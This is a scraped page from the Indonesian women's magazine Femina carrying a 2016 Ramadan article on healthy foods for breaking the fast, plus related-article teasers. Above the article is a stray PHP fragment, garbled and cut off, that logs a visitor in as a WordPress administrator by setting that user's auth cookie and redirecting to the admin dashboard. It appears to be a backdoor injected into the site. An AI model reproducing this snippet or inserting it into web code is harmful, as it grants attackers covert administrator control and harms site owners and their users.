Tip Berbuka Puasa Tanpa Kalap

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Health & Diet

10 Jun 2016

Foto: Fotosearch

Saat berbuka puasa, perut yang berada dalam kondisi kosong selama lebih dari 14 jam ini memerlukan menu yang tidak mengagetkan. Jika tidak mengenali jenis makanan yang tepat untuk menyikapi kondisi tubuh pada saat ini, otak cenderung mengarahkan diri untuk menyantap hidangan berbuka yang menggiurkan. Sebenarnya, tubuh membutuhkan asupan makanan yang bisa mengembalikan tenaga dan sarat gizi. Karenanya, tidak semua hidangan manis memenuhi kriteria ini.

Ketika Anda berbuka, segerakan dengan makanan yang bercita rasa manis secara alami. Seperti Nabi Muhammad SAW, Anda bisa mengawalinya dengan menyantap kurma dan madu. Gula pasir sebaiknya tidak dikonsumsi, kecuali kepepet, apalagi dalam jumlah berlebih karena membuat gula darah naik dan turun secara tidak stabil. Contohnya, teh manis dan aneka kue manis dari gula pasir.

Selain itu, konsumsi buah-buahan sebagai cadangan serat dan nutrisi adalah pilihan yang sangat baik. Makan dalam bentuk buah utuh atau dalam bentuk jus buah. Jika ingin menyantap puding buah atau setup buah, jadikan sebagai pendamping karena proses pemasakan telah merusak kandungan nutrisi di dalamnya.

Makan Ini:

Semangka. Dapat mengembalikan kadar gula darah sebagai sumber energi utama bagi tubuh.
Air kelapa. Kaya akan mineral elektrolit, sehingga tubuh bisa cepat merasa segar. Air kelapa asli adalah isotonik sejati, lebih baik dibandingkan dengan air kelapa dalam kemasan botol atau tetra pak.
Kolak pisang dan ubi. Olah dengan menggunakan gula merah karena mengandung karbohidrat kompleks. Manis dan menyegarkan. (f)

Trifitria Nuragustina

Topic
#puasadanlebaran

Bisa Minum yang Manis, Asalkan...

Salad Jeruk Bali

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id